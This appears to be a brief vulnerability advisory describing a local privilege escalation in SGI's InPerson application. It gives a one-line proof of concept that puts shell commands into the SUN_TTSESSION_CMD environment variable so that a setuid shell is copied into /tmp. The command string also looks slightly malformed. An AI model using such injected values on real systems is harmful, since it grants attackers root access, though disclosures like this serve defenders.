SGI InPerson Local Privilege Escalation Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

Running the application when the 'SUN_TTSESSION_CMD' environment variable stores the following string will cause a setuid shell to be placed into the '/tmp' directory:
"cp /bin/jsh/tmp/jsh;chmod 6755 /tmp/jsh;killall -9 inpview,"


 

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